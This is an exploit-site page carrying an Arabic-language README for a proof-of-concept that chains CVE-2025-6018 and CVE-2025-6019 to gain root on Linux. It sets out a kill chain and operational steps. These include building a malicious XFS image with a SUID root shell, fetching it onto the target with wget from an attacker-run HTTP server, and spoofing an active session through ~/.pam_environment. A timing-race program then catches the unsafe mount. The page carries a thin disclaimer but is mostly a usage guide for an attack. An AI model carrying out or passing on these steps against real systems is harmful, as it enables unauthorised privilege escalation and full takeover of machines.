Sploitus

Exploit for CVE-2025-6018-6019-PoC

kitploit · 2026-08-24

Exploit Code

MARKDOWN148 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MICHAELVENTURELLA-CVE-2025-6018-6019-POC
# CVE-2025-6018 وCVE-2025-6019: إثبات مفهوم (PoC) لتصعيد الامتيازات محليًا

إثبات مفهوم قوي (PoC) لربط **CVE-2025-6018** (تجاوز الجلسة النشطة في PAM/Polkit) و**CVE-2025-6019** (ثغرة تركيب SUID في libblockdev) لتحقيق **وصول الجذر** على أنظمة Linux المتأثرة.

## إخلاء مسؤولية

هذه الأداة **لأغراض تعليمية وأبحاث أمنية مصرّح بها فقط**. لا تستخدمها على أنظمة لا تمتلكها أو ليس لديك إذن صريح لاختبارها.

* * *

## سلسلة الثغرات

يستغل هذا الإكسبلويت ثغرتين منطقيتين لتصعيد الامتيازات من مستخدم عادي إلى الجذر:

  1. **CVE-2025-6018 (نقطة الدخول):** خطأ في إعداد PAM/Polkit يسمح لجلسات SSH البعيدة بأن يتم وضع علامة `Active=yes` عليها. هذا الخداع يقنع النظام بأن المستخدم البعيد متواجد فعليًا أمام وحدة التحكم، متجاوزًا متطلبات كلمة المرور لأدوات إدارة الأجهزة مثل `udisks2`.
  2. **CVE-2025-6019 (السلاح):** مكتبة `libblockdev` (التي يستخدمها `udisks2`) تفشل في تطبيق علامة الأمان `nosuid` عند تركيب نظام ملفات مؤقتًا لعمليات الصيانة (مثل `Check` أو `Resize`).



### سلسلة القتل

  1. **التحضير:** ننشئ صورة XFS خبيثة تحتوي على صدفة SUID جذر ثابتة.
  2. **التجاوز:** نعتمد على حالة الجلسة `Active=yes` لتركيب هذه الصورة كجهاز loop بدون كلمة مرور.
  3. **التحفيز:** نستدعي D-Bus إلى `Filesystem.Check`. هذا يجبر `udisks2` على تركيب الصورة مؤقتًا للتحقق منها. **الأهم من ذلك، أن هذا التركيب المؤقت يفتقر إلى`nosuid`.**
  4. **سباق التوقيت (Race Condition):** برنامج C مُجمّع (يُدعى "القناص") يراقب `/proc/mounts` في الوقت الفعلي. في اللحظة التي يظهر فيها التركيب المؤقت، ينفّذ حمولة SUID قبل أن يقوم النظام بإلغاء تركيبه.



* * *

## الاستخدام

### المرحلة 1: التحضير (جهاز المهاجم)

نظرًا لأن الجهاز المستهدف غالبًا ما يفتقر إلى أدوات مثل `mkfs.xfs` أو `gcc`، نقوم بإنشاء الحمولة محليًا.

  1. **شغّل سكربت البناء على Kali/Parrot:**



root@kitploit:~
    
    
    ./build_poc.sh
    

  * ينشئ `exploit.img` (صورة XFS بحجم 400MB مع صدفة SUID).
  * يترجم `catcher` (البرنامج الفائز في سباق التوقيت).


  2. **ارفع الملفات إلى الجهاز المستهدف:** شغّل خادم Python:



root@kitploit:~
    
    
    python3 -m http.server 80
    

على الجهاز المستهدف (على سبيل المثال، في `/tmp`):

root@kitploit:~
    
    
    wget http://<YOUR_IP>/exploit.img
    wget http://<YOUR_IP>/catcher
    chmod +x catcher
    

### المرحلة 2: الاستغلال (الجهاز المستهدف)

  1. **نزّل سكربت الاستغلال:** احفظ محتوى `exploit.sh` من هذا المستودع إلى الجهاز المستهدف.

  2. **شغّل الاستغلال:**




root@kitploit:~
    
    
    chmod +x exploit.sh
    ./exploit.sh
    

  3. **استمتع بصلاحيات الجذر:** سيقوم السكربت تلقائيًا بإعداد جهاز loop، وتشغيل الـ `catcher` في الخلفية، وتحفيز الثغرة. يجب أن تحصل على صدفة جذر فورًا.



* * *

## استكشاف الأخطاء وإصلاحها

### "مصادقة مطلوبة لإعداد جهاز loop"

إذا طلب السكربت كلمة مرور، فجلسة SSH الخاصة بك **ليست** نشطة. **الإصلاح:**

  1. أنشئ `~/.pam_environment`:



root@kitploit:~
    
    
    echo "XDG_SEAT=seat0" > ~/.pam_environment
    echo "XDG_VTNR=1" >> ~/.pam_environment
    

  2. **سجّل الخروج ثم سجّل الدخول مرة أخرى.**
  3. تحقق باستخدام `loginctl show-session $XDG_SESSION_ID | grep Active`. يجب أن تُظهر `Active=yes`.



### "فشل سباق التوقيت / لا توجد صدفة"

نافذة الثغرة تستغرق ميلي ثانية فقط.

  * تأكد من أنك تستخدم **مُجمّع C catcher** (مضمّن في `build_poc.sh`)، وليس حلقة Bash.
  * يستخدم السكربت طريقة `Filesystem.Check`، وهي أكثر موثوقية من `Resize`.



* * *

## قائمة الملفات

### `build_poc.sh` (جانب المهاجم)

يعمل على أتمتة إنشاء الصورة الخبيثة ويترجم الثنائيات الثابتة.

### `exploit.sh` (جانب الهدف)

هو المنسّق. يتولى:

  1. التحقق من الجلسة النشطة.
  2. تشغيل `catcher` في الخلفية.
  3. إعداد جهاز loop عبر `udisksctl`.
  4. تحفيز استدعاء D-Bus `Filesystem.Check`.



* * *

## الاعتمادات

  * **الاكتشاف الأصلي:** فريق أبحاث Qualys (CVE-2025-6018, CVE-2025-6019) https://www.helpnetsecurity.com/2025/06/18/chaining-two-lpes-to-get-root-most-linux-distros-vulnerable-cve-2025-6018-cve-2025-6019/